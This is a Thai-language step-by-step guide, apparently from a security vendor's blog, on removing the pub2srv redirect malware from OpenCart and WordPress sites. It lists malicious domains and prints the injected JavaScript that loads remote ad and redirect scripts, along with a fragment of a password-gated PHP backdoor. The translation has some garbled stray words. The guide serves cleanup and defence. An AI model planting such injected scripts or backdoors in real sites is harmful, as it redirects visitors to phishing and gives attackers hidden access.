Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

กำจัด Malware pub2srv บนเว็บไซต์ OpenCart และ WordPress – คู่มือทีละขั้นตอน

เรากำลังเฝ้าระวังการติดเชื้อมัลแวร์เฉพาะที่มุ่งเป้าหมายเว็บไซต์ OpenCart และ WordPress มาหลายเดือน มักเรียกว่า Pub2srv Malware Infection ซึ่ง Redirect ผู้เยี่ยมชมเว็บไซต์ไปยังโดเมนอันตรายอื่นๆ เช่น

go.pub2srv[.]com

go.mobisla[.]com

go.oclaserver[.com]

deloton.com/afu.php?zoneid= site

Dolohen.com

นอกจากนี้ Google จะระงับ Ads ของคุณภายใต้ Malicious Links บนเว็บไซต์ จำนวนหนึ่งคือ

https://defpush.com/ntfc.php?p=1565632 https://deloplen.com/apu.php?zoneid=1558096 https://go.mobisla.com/notice.php?p=1558098&interactive=1&pushup=1 https://mobpushup.com/notice.php?p=1558098&interactive=1&pushup=1 https://wowreality.info/page.js?wm=gr กำจัด Malware pub2srv บนเว็บไซต์ OpenCart และ WordPress – คู่มือทีละขั้นตอน

Pub2srv Malware คืออะไร? อาการมีอย่างไร?

เป็นมัลแวร์ที่ทำให้เว็บไซต์ OpenCart และ WordPress Redirect ไปยังเว็บเพจ Spam บนอุปกรณ์มือถือ Spam Pop-up หรือ Notifications เปิดขึ้น มีโฆษณาและหน้า Phishing

Pub2srv Malware ในจect โค้ด JavaScript อันตรายใน Source ของเว็บเพจ ทำให้เกิด Redirect/Pop-ups ในกรณีของ OpenCart เกิดจาก ช่องโหว่ SQL Injection (SQLi) ในร้านค้า อนุญาตให้แฮกเกอร์เพิ่มโค้ดอันตรายลงในฐานข้อมูล ในกรณีของ WordPress แฮกเกอร์สามารถแก้ไขไฟล์ index.php หรือ functions.php เพื่อวาง Payload

อาการทั่วไปของการแฮ็กนี้:

  1. ผู้เยี่ยมชมเว็บไซต์ถูก Redirect ไปเว็บไซต์ Spam มีโฆษณา Porn Phishing Pages อ่านบล็อกโดยละเอียดของเรา: ทำไมเว็บไซต์ของคุณเจอ Multiple Redirections
  2. Pop-ups บนอุปกรณ์มือถือ แจ้งให้ติดตั้ง Apps
  3. Plugins ที่พึ่งพา AJAX หยุดทำงาน (ตัวอย่าง: TablePress, DataTables ฯลฯ)
  4. ถูก Blacklist โดย Google หรือ Ads ถูกระงับ อ่านบล็อกของเราเพื่อรับ Ads คืน
  5. JavaScript Code ที่ไม่รู้จักใน Source

ผลกระทบของการแฮ็ก

เนื่องจากสาเหตุพื้นฐานของมัลแวร์นี้คือช่องโหว่ SQL Injection (SQLi) โจมตีสามารถ:

  • เพิ่ม ลบ แก้ไข หรืออ่านเนื้อหาในฐานข้อมูล
  • อ่าน Source Code จากไฟล์บน Database Server
  • เขียนไฟล์ไปยัง Database Server
  • ขโมย User Records และ Passwords ของเว็บไซต์ WordPress/OpenCart
  • ขโมยข้อมูลธุรกรรมในร้านค้า OpenCart/WooCommerce
  • ทำ SEO Spam บนโดเมนของคุณ ทำให้ถูก Blacklist โดย Google Webmasters

วิธีลบโค้ด Malware pub2srv จากเว็บไซต์ของฉัน?

ใน OpenCart มัลแวร์มักติดเชื้อฐานข้อมูล และวางโค้ดในตารางฐานข้อมูลต่อไปนี้:

  1. ตาราง oc_product_description (Product Descriptions)
  2. ตาราง oc_category_description (Category Descriptions)

ทำตามขั้นตอนเหล่านี้เพื่อลบโค้ดอันตรายจากฐานข้อมูล OpenCart:

  1. Preview ตารางฐานข้อมูลด้วย Tool อย่าง phpMyAdmin หรือ Sequel Pro
  2. เปิดตาราง 'oc_category_description' และตรวจสอบค่าในคอลัมน์ 'description'
  3. คุณจะเห็น JavaScript Code Snippet ตามภาพด้านล่าง:
     <script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "XXXXXXXXXXXXX", "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement(''script''); script.async = true; script.src = ''//cdn.shorte[.st]/link-converter.min.js''; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ''complete'' && rs != ''loaded'') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName(''script'')[0]; entry.parentNode.insertBefore(script, entry); })(); //]]></script><script data-cfasync=''false'' type=''text/javascript'' src=''//pXXXXX.clksit[e.com/]adServe/banners?tid=XXXXX_127XXX_7&tagid=2''></script><script type="text/javascript" src="//[go.pub2srv][.com/ap]u.php?zoneid=XXXXXX"></script><script async="async" type="text/javascript" src="//g[o.mobisl]a.co[m/notice.ph]p?p=XXXXXX&interactive=1&pushup=1"></script> 
  4. Execute SQL Code Snippet ต่อไปนี้หลังจากแทนที่ที่จำเป็น:
     UPDATE oc89gWs_category_description SET description = REPLACE (description, 'INSERT MALICIOUS CODE FROM PREVIOUS STEP', ''); 
  5. ทำซ้ำขั้นตอนทั้งหมดข้างต้นสำหรับตาราง oc_product_description

ใน WordPress มัลแวร์มักพบในไฟล์ WordPress:

  1. index.php
  2. functions.php
  3. Database tables

ทำตามขั้นตอนเหล่านี้เพื่อลบโค้ดอันตรายจากเซิร์ฟเวอร์ WordPress:

  1. เปิดไฟล์ index.php (โฟลเดอร์ public_html) และ wp-content/themes/NAME-OF-THEME/functions.php บนเซิร์ฟเวอร์ของคุณ
  2. ค้นหาโค้ดที่ไม่คุ้นเคย/กล hablando/เข้ารหัส ในไฟล์เหล่านี้ คุณอาจพบโค้ดคล้าย:
    <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX')) { if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; ?>
  3. หากพบโค้ดอันตรายในไฟล์ใดไฟล์หนึ่ง ควรแทนที่ไฟล์นั้นจาก Backup ล่าสุดที่สะอาด
  4. ตรวจสอบตารางในฐานข้อมูลเช่นเดียวกับขั้นตอนสำหรับ OpenCart ด้านบน
  5. นอกจากนี้ ในไดเรกทอรี่ wp-include: ลบไฟล์ wp-vcd.php และ class.wp.php ใน wp-include ไดเรกทอรี่: เปิด post.php และลบ PHP Tag แรกที่มัลแวร์เพิ่ม เปิดไฟล์ functions.php ของธีม และลบโค้ดข้างต้น (แนะนำโดยผู้อ่านคนหนึ่งชื่อ Jaber ในความคิดเห็น)
กำจัด Malware pub2srv บนเว็บไซต์ OpenCart และ WordPress – คู่มือทีละขั้นตอน

ขั้นตอนป้องกันการติดเชื้อซ้ำ และระบุสาเหตุ

  1. อัปเดตเว็บไซต์ OpenCart/WordPress เป็นเวอร์ชันล่าสุด: เพื่อแก้ไขปัญหาความปลอดภัยที่รู้จักใน CMS Core
  2. บล็อก SQL Injection Attacks: ใช้ปลั๊กอินความปลอดภัยอย่าง Astra ซึ่งตรวจจับและบล็อก SQL Injection (SQLi) Attacks ก่อนที่จะถึงเว็บไซต์
  3. เปลี่ยน Username และ Password ของบัญชีแอดมิน: เพื่อให้แฮกเกอร์ไม่ยังคงเข้าถึงเว็บไซต์หลังทำความสะอาดมัลแวร์
  4. เปลี่ยน Database Password: เพื่อให้แฮกเกอร์ไม่สามารถเชื่อมต่อฐานข้อมูลโดยตรงได้
  5. เปลี่ยน Encryption Keys: เพื่อป้องกัน Spoofing และการโจมตี Cryptographic อื่นๆ
  6. จำกัดการเข้าถึง Admin Area ให้เฉพาะ Whitelisted IP Addresses: เพื่อให้แอดมินที่ได้รับอนุญาตเท่านั้นเข้าถึง Backend Admin Area ได้
  7. ถอนติดตั้ง Plugins/Extensions ที่ไม่ได้ใช้: หากไม่ได้ดูแลแล้ว อาจมีปัญหาความปลอดภัยที่ทำให้โดนแฮ็ก
  8. สแกน Server Logs (Access และ Error): คุณอาจพบ Errors ที่ไม่คุ้นเคยหรือกล hablando ใน Logs ซึ่งอาจบ่งชี้แหล่งที่มาและเวลาของการแฮ็ก

คู่มือเกี่ยวข้อง – WordPress Hack Removal

กำจัด Malware pub2srv บนเว็บไซต์ OpenCart และ WordPress – คู่มือทีละขั้นตอน

อ่านบทความบล็อกของเราเกี่ยวกับ Favicon (.ico) Virus Backdoor ใน WordPress

เกี่ยวกับ Astra Web Protection

Astra Web Protection เป็นโซลูชันความปลอดภัย End-to-End สำหรับ CMS ของคุณ คุณสามารถป้องกันตัวเองจาก 100+ การโจมตี Bad Bots, Malware ด้วยแค่คลิกปุ่มเดียว ผู้เชี่ยวชาญความปลอดภัยของเราให้ความช่วยเหลือ 24×7 ในการรักษาความปลอดภัยธุรกิจออนไลน์ พิมพ์ Hi บน Chat Widget ด้านล่าง หากต้องการความช่วยเหลือจากมืออาชีพ หรือต้องการรู้ว่าเราทำให้เว็บไซต์ของคุณ 100% สะอาดและปลอดภัยอย่างไร!